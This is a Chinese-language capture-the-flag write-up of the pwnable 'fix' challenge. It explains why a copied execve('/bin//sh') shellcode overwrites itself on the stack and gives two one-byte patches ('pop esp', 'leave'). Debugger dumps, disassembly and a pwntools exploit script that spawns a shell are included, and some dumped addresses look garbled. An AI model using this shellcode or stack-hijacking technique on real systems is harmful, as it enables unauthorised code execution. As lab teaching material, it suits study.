

分析

这是一道不太常见的题型，不是堆栈溢出也不是保护绕过。简单点说就是一个改shellcode代码的题。好像很简单，但是硬是肝了我快两天时间。

```
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
           "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

void shellcode(){
    // a buffer we are about to exploit!
    char buf[20];

    // prepare shellcode on executable stack!
    strcpy(buf, sc);

    // overwrite return address!
    *(int*)(buf+32) = buf;

    printf("get shell\n");
}
```

题目给了源码，简单分析一下源码，可以看到在 `shellcode()` 函数中使用 `strcpy()` 将 `sc` 变量所在内存拷贝到 `buf` 变量中。刚开始我搞错了，看到 `sc` 的长度是23字节，而 `buf` 是只给了20字节，就以为可能在 `strcpy()` 的时候出现问题，分析了很久发现分析方向除了问题。因为 `buf` 的位置在 `ebp@shellcode-0x1c`，所以尽管 `sc` 变量长度超出了 `buf` 的空间长度，但是因为 `sc` 变量长度小于 `0x1c`，所以 `strcpy()` 后是不会影响到 `ebp@shellcode`，更不会影响到 `ret@main`。

```
pwndbg> stack 20
00:0000 esp 0xffcd0640 -> 0xffcd065c -< 0x0
01:0004 0xffcd0644 -> 0x804a02c (sc) -> 0x68500131 -< 0x68500131
02:0008 0xffcd0648 -> 0xffcd0698 -< 0x0
03:000c 0xffcd064c -> 0x804a060 (stdin@GLIBC_2.0) -> 0x2a9a25c0 (_IO_2_1_stdin_) -> 0xfbad2288 -< 0xfbad2288
04:0010 0xffcd0650 -> 0x2a9a2d80 (_IO_2_1_stdout_) -> 0xfbad2a84 -< 0xfbad2a84
05:0014 0xffcd0654 -> 0x8048764 -> 0x6c6c6554 -< 0x6c6c6554 ('Tell')
06:0018 0xffcd0658 -> 0xffcd0674 -> 0xffcd0688 -< 0x1
07:001c eax 0xffcd065c -< 0x0
08:0020 0xffcd0660 -> 0x2a9a2000 (_GLOBAL_OFFSET_TABLE_) -< insb byte ptr es:[edi], dx /* 0x1d7d6c */
09:0024 0xffcd0664 -< 0x0
0a:0028 0xffcd0668 -> 0xffcd0698 -< 0x0
0b:002c 0xffcd066c -> 0x8048607 (main+180) -> 0x8b10c483 -< 0x8b10c483
0c:0030 0xffcd0670 -> 0x804875e -< and eax, 0x64 /* '%d' */
0d:0034 0xffcd0674 -> 0xffcd0688 -< 0x1
0e:0038 ebp 0xffcd0678 -> 0xffcd0698 -< 0x0
0f:003c 0xffcd067c -> 0x804861b (main+200) -< mov eax, 0
10:0040 0xffcd0680 -< 0x1
11:0044 0xffcd0684 -> 0xffcd0744 -> 0x6d6f682f -< 0x6d6f682f ('/hom')
12:0048 0xffcd0688 -< 0x1
... ↓
```

这是在 `strcpy()` 函数执行之前的堆栈情况。

```
pwndbg> stack 20
00:0000 esp 0xffcd0640 -> 0xffcd065c -> 0x68500131 -< 0x0
01:0004 0xffcd0644 -> 0x804a02c (sc) -> 0x68500131 -< 0x0
02:0008 0xffcd0648 -> 0xffcd0698 -< 0x0
03:000c 0xffcd064c -> 0x804a060 (stdin@GLIBC_2.0) -> 0x2a9a25c0 (_IO_2_1_stdin_) -> 0xfbad2288 -< 0x0
04:0010 0xffcd0650 -> 0x2a9a2d80 (_IO_2_1_stdout_) -> 0xfbad2a84 -< 0x0
05:0014 0xffcd0654 -> 0x8048764 -> 0x6c6c6554 -< 0x0
06:0018 0xffcd0658 -> 0xffcd0674 -> 0xffcd0688 -< 0x1
07:001c eax 0xffcd065c -> 0x68500131 -< 0x0
08:0020 0xffcd0660 -> 0x68732f2f -< 0x0
09:0024 0xffcd0664 -> 0x69622f68 -< 0x0
0a:0028 0xffcd0668 -> 0x50e3896e -< 0x50e3896e
0b:002c 0xffcd066c -> 0xb0e18953 -< 0x0
0c:0030 edx 0xffcd0670 -< 0x80cd0b
0d:0034 0xffcd0674 -> 0xffcd0688 -< 0x1
0e:0038 ebp 0xffcd0678 -> 0xffcd0698 -< 0x0
0f:003c 0xffcd067c -> 0x804861b (main+200) -< mov eax, 0
10:0040 0xffcd0680 -< 0x1
11:0044 0xffcd0684 -> 0xffcd0744 -> 0x6d6f682f -< 0x0
12:0048 0xffcd0688 -< 0x1
... ↓
```

这是在 `strcpy()` 函数执行之后的堆栈情况，可以看到 `ebp` 和 `ret` 都没有任何影响。

接下来在 `shellcode()` 函数中，通过修改 `ret` 为 `buf` 的地址来执行 `shellcode` 代码。C 中代码是这样的：

```
*(int*)(buf+32) = buf;
```

因为 `buf` 的地址在 `ebp@shellcode-0x1c`，加上 32 字节后就是 `ebp@shellcode-0x1c+32=ebp@shellcode+4`，所以刚好是覆盖了 `ret` 的地址，达到在返回 `main()` 函数的时候返回到 `shellcode` 代码上去。

```
pwndbg> stack 20
00:0000 esp 0xffffd0640 -> 0x80486b0 -< je 0x80486d4 /* 'get shell' */
01:0004 0xffffd0644 -> 0x804a02c (sc) -> 0x68500131 -< 0x0
02:0008 0xffffd0648 -> 0xffffd0698 -< 0x0
03:000c 0xffffd064c -> 0x804a060 (stdin@0GLIBC_2.0) -> 0x2a9a25c0 (IO_2_1_stdin_) -> 0xfbad2288 -< 0x0
04:0010 0xffffd0650 -> 0x2a9a2d80 (IO_2_1_stdout_) -> 0xfbad2a84 -< 0x0
05:0014 0xffffd0654 -> 0x8048764 -> 0x6c6c6554 -< 0x0
06:0018 0xffffd0658 -> 0xffffd0674 -> 0xffffd0688 -< 0x1
07:001c edx 0xffffd065c -> 0x68500131 -< 0x0
08:0020 0xffffd0660 -> 0x68732f2f -< 0x0
09:0024 0xffffd0664 -> 0x69622f68 -< 0x0
0a:0028 0xffffd0668 -> 0x50e3896e -< 0x0
0b:002c 0xffffd066c -> 0xb0e18953 -< 0x0
0c:0030 0xffffd0670 -< 0x80cd0b
0d:0034 0xffffd0674 -> 0xffffd0688 -< 0x1
0e:0038 ebp 0xffffd0678 -> 0xffffd0698 -< 0x0
0f:003c eax 0xffffd067c -> 0xffffd065c -> 0x68500131 -< 0x0
10:0040 0xffffd0680 -< 0x1
11:0044 0xffffd0684 -> 0xffffd0744 -> 0xffffd2417 -> 0x6d6f682f -< 0x0
12:0048 0xffffd0688 -< 0x1
... ↓
```

在这样的情况下，`shellcode()` 函数执行完自然就开始执行 `shellcode` 代码了，那么到底哪里出了问题？看一下 `shellcode` 代码到底是什么内容。

```
>>> print
disasm("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\x
\xe1\xb0\x0b\xcd\x80")
0: 31 c0 xor eax, eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx, esp
f: 50 push eax
10: 53 push ebx
11: 89 e1 mov ecx, esp
13: b0 0b mov al, 0xb
15: cd 80 int 0x80
```

可以看到 `shellcode` 中一共有 5 个 `push` 操作，做完这个 5 个 `push` 操作后就会把栈顶 `esp` 提高 20 个字节。

刚才说了 `shellcode` 的位置从 `ebp@shellcode-0x1c` 开始，长 23 字节，所以一直到 `ebp@shellcode-0x5` 的位置。又因为 `shellcode()` 函数的栈执行结束了就是 `main()` 函数的栈，所以在返回 `ret` 后栈顶指针 `esp` 会移动到 `ebp@shellcode+0x8` 的位置。画个图来直观感受一下。

```

+-----+
|       | <- ebp@shellcode - 0x1c # The start of the shellcode
+-----+
|       |
|       | ...
+-----+
|       | (ebp@shellcode-0x5) --- # The end of the shellcode
+-----+
|       |
|       |
+-----+
|       | 0x4*3+1=13
|ebp@main| <- ebp@shellcode
+-----+
|       |
| retn   | -----
+-----+
|       | <- ebp@shellcode+0x8 (esp@main)
+-----+

```

然后我们在执行5个 `push` 时，需要从 `ebp@shellcode+0x8` 提高20个字节，也就是 `ebp@shellcode+0x8-0x14=ebp@shellcode-0xc`。画个图便知道这一下发生了什么。

```

+-----+
|       | <- ebp@shellcode - 0x1c
+-----+
|       |
|       | ...
+-----+
|       | <- push ebx # so, there will be about 4+3=7 bytes at the end of shellcode will be overwritten.
+-----+
|       | (ebp@shellcode-0x5) The end of the shellcode <- eax
+-----+
|       | <- push 0x6e69622f
+-----+
|       | <- push 0x68732f2f
+-----+
|       | <- push eax
+-----+
|       | <- ebp@shellcode+0x8 (esp@main)
+-----+

```

从图中可以看得到，我们直接覆盖了 `shellcode` 的后面三个指令，导致无法正确执行和调用 `shellcode` 代码。到了这一步也就十分清楚了，我们要做的无非就是调整堆栈空间，使得接下来的 `shellcode` 指令不会被覆写。

仔细看了很久，觉得调整 `f` 指令是最佳的，因为这是一个单字节指令，可以根据题目需求进行修改。同时它也是一个 `push` 指令。为什么不调整 `10` 指令，原因是在我们执行到 `f` 指令的时候，其实下一步指令就准备开始覆写了，只是这时候内存已经读到 `10` 指令了，所以可以继续执行。因此调整 `f` 指令是最佳选择。

有两种解决方案。

Solution 1

这里我们将 `push eax` 指令调整为同样是单字节的 `pop esp` 指令来重置栈顶指针的位置到 `esp` 寄存器中的那个地址值。但是由于我们不可以控制 `esp` 寄存器的内容，也不知道那个地址能不能读。只能用 `ulimit -s unlimited` 这个命令来魔法化了。

调整 `50` 指令为 `5c`，我们看一下调整后的 `shellcode` 代码。

```
>>> print
disasm("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x5c\x53\x89
\xe1\xb0\x0b\xcd\x80")
0:  31 c0                xor    eax, eax
2:  50                  push   eax
3:  68 2f 2f 73 68       push   0x68732f2f
8:  68 2f 62 69 6e       push   0x6e69622f
d:  89 e3               mov    ebx, esp
f:  5c                 pop     esp                # Modified
instruction
10:  53                 push   ebx
11:  89 e1             mov    ecx, esp
13:  b0 0b            mov    al, 0xb
15:  cd 80            int    0x80
```

Exploit

```
fix@pwnable:~$ ulimit -s unlimited
fix@pwnable:~$ ./fix
What the hell is wrong with my shellcode?????
I just copied and pasted it from shell-storm.org :(
Can you fix it for me?
Tell me the byte index to be fixed : 15
Tell me the value to be patched : 92
get shell
$ ls
fix  fix.c  flag  intended_solution.txt
$ cat flag
Sorry for blaming shell-storm.org :) it was my ignorance!
```

Solution 2

这个也是官方的推荐方案（写在了 `intended_solution.txt` 文档里），也是将 `f` 指令进行修改，但是指令是改为 `leave`，也就是 `0xc9`，这也是个单字节指令。这个指令等同于如下指令：

```
mov    esp, ebp
pop    ebp
```

我们也来看一下修改后的shellcode代码。

```
>>> print
disasm("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xc9\x53\x89
\xe1\xb0\x0b\xcd\x80")
0: 31 c0          xor    eax, eax
2: 50             push   eax
3: 68 2f 2f 73 68  push   0x68732f2f
8: 68 2f 62 69 6e  push   0x6e69622f
d: 89 e3          mov    ebx, esp
f: c9            leave
10: 53            push   ebx
11: 89 e1          mov    ecx, esp
13: b0 0b          mov    al, 0xb
15: cd 80          int     0x80
```

同样的这里也是将栈顶指针 `esp` 进行移动以获取更大的空间，只不过这里是降低栈顶指针。

```
pwndbg> stack 20
00:0000 ebp esp 0xff89c2a4 -> 0x6e69622f -< 0x0
01:0004 0xff89c2a8 -> 0x68732f2f -< 0x0
02:0008 0xff89c2ac -< 0x0
03:000c 0xff89c2b0 -< 0x1
04:0010 0xff89c2b4 -> 0xff89c374 -> 0xff89d417 -> 0x6d6f682f -< 0x0
05:0014 0xff89c2b8 -< 0xc9
06:0018 0xff89c2bc -< 0xf
07:001c 0xff89c2c0 -> 0x2aa149b0 (__dl_fini) -> 0x57e58955 -< 0x0
08:0020 0xff89c2c4 -> 0xff89c2e0 -< 0x1
09:0024 ebp 0xff89c2c8 -< 0x0
0a:0028 0xff89c2cc -> 0x2a821e81 (__libc_start_main+241) -> 0x8310c483 -< 0x0
0b:002c 0xff89c2d0 -> 0x2a9e1000 (_GLOBAL_OFFSET_TABLE_) -< insb byte ptr es:[edi], dx /* 0x1d7d6c */
... ↓
```

在执行 `leave` 指令前堆栈内容是如上的。

```
pwndbg> stack 20
00:0000 esp 0xff89c2cc -> 0x2a821e81 (__libc_start_main+241) -> 0x8310c483 -< 0x0
01:0004 0xff89c2d0 -> 0x2a9e1000 (_GLOBAL_OFFSET_TABLE_) -< insb byte ptr es:[edi], dx /* 0x1d7d6c */
... ↓
03:000c 0xff89c2d8 -< 0x0
04:0010 0xff89c2dc -> 0x2a821e81 (__libc_start_main+241) -> 0x8310c483 -< 0x0
05:0014 0xff89c2e0 -< 0x1
06:0018 0xff89c2e4 -> 0xff89c374 -> 0xff89d417 -> 0x6d6f682f -< 0x0
07:001c 0xff89c2e8 -> 0xff89c37c -> 0xff89d42d -> 0x54554c43 -< 0x0
08:0020 0xff89c2ec -> 0xff89c304 -< 0x0
09:0024 0xff89c2f0 -< 0x1
0a:0028 0xff89c2f4 -< 0x0
0b:002c 0xff89c2f8 -> 0x2a9e1000 (_GLOBAL_OFFSET_TABLE_) -< insb byte ptr es:[edi], dx /* 0x1d7d6c */
0c:0030 0xff89c2fc -> 0x2aa1475a (call_init.part+26) -> 0x78a6c781 -< 0x0
0d:0034 0xff89c300 -> 0x2aa2c000 (_GLOBAL_OFFSET_TABLE_) -< xor al, 0x6f /* 0x26f34 */
0e:0038 0xff89c304 -< 0x0
0f:003c 0xff89c308 -> 0x2a9e1000 (_GLOBAL_OFFSET_TABLE_) -< insb byte ptr es:[edi], dx /* 0x1d7d6c */
10:0040 0xff89c30c -< 0x0
... ↓
```

执行完成 `leave` 指令后，`esp` 指针就到了 `ebp` 指针的下面那个地址。再怎么 `push` 也不会影响到 `shellcode` 代码了。只不过在这里会间接影响到接下来的 `mov ecx, esp` 指令，而 `ecx` 中的内容是属于 `shellcode` 代码所执行关键函数 `execve()` 的参数。

因为是 `int 0x80` 的系统调用，系统调用号（也就是调用的对应函数）存在了 `eax` 当中的 `al` 低字节当中，`execve(const char *filename, char *const argv[], char *const envp[])` 中，文件执行路径存在 `ebx` 当中，`argv` 存在了 `ecx` 当中，`envp` 存在 `edx` 当中，具体可查阅 `x86` 的 `system call` 表格。

#	Name	Registers	Definition
11	sys_execve	eax 0x0b char __user * ebx char __user * __user * ecx char __user * __user * edx struct pt_regs * - esi edi	arch/alpha/kernel/entry.S:925

对比观察一下正常 `shellcode` 执行到 `int 0x80` 时堆栈上的数据，我们可以发现在 `leave` 情况下，`ecx` 的第二个参数不太正常，包含的数据内容不是原本的 `0x0`。所以在执行这个的时候会出现报错。其实我们只需根据这个报错内容创建个类似文件，然后把 `sh` 这个字符串（指的是 `shell prompt`）写在里面即可。

```

EAX 0xb
EBX 0xffffdb6b4 ← '/bin//sh'
ECX 0xffffdb6d8 → 0xffffdb6b4 ← '/bin//sh'
EDX 0xffffdb690 ← _IO_stdfile_1_lock ← 0
EDI 0x0
ESI 0xffffdb300 ← _GLOBAL_OFFSET_TABLE_ ← insb byte ptr es:[edi], dx /* 0x1d7d6c */
EBP 0x0
ESP 0xffffdb6d8 → 0xffffdb6b4 ← '/bin//sh'
EIP 0xffffdb6b1 ← 0x2f0080cd

0xffffdb6a9 mov ebx, esp
0xffffdb6ab leave esp
0xffffdb6ac push ebx
0xffffdb6ad mov ecx, esp
0xffffdb6af mov al, 0xb
0xffffdb6b1 int 0x80 <VS execve>
path: 0xffffdb6b4 ← '/bin//sh'
argv: 0xffffdb6d8 ← 0xffffdb6b4 ← '/bin//sh'
envp: 0xffffdb690 ← _IO_stdfile_1_lock ← 0x0
0xffffdb6b3 add byte ptr [edi], ch
0xffffdb6b5 bound ebp, qword ptr [ecx + 0x6e]
0xffffdb6b8 das
0xffffdb6b9 das
0xffffdb6ba jae 0xffffdb724

00:0000 ecx esp 0xffffdb6d8 → 0xffffdb70 ← '/bin//sh'
01:0004 0xffffdb6c ← 0x0
02:0008 ebx 0xffffdb70 ← '/bin//sh'
03:000c 0xffffdb74 ← '//sh'
04:0010 0xffffdb78 ← 0x0
05:0014 0xffffdb7c → 0x565555cf (main+02) ← mov eax, 0
06:0018 0xffffdb80 → 0xffffdb8a ← 0x1
07:001c 0xffffdb84 ← 0x0

[ STACK ]
f 0 56555675
f 1 f7df2e81 _libc_start_main+241
f 2 56556fd0 _GLOBAL_OFFSET_TABLE_
f 3 1
f 4 56555440 _start
f 5 0

[ BACKTRACE ]
pwndbg>
process 1947 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" c
Error in re-setting breakpoint 1: No symbol "main" in current context.

```

所以最后的shellcode的C形式就是 `execve("/bin/sh", "/bin/sh", "sh", 0)`。

```

bc7@kali:~/pwn$ cat test
/bin/sh; sh; 0
bc7@kali:~/pwn$ /bin/sh test
$ whoami
bc7
$

```

Exploit

```

from pwn import *

p = process("/home/fix/fix")
# p.recvuntil("fixed : ")
p.sendline("15")
# p.recvuntil("patched : ")
p.sendline("201")
p.recvuntil("Can't open ")
filename = p.recvline().strip("\n")
with open(filename, "w") as f:
    f.write("sh\n")
    # f.write("/bin//sh\n")
    # Or NULL character
p.kill()
# Second execution
p = process("/home/fix/fix")
p.sendline("15")
p.sendline("201")
p.interactive()

```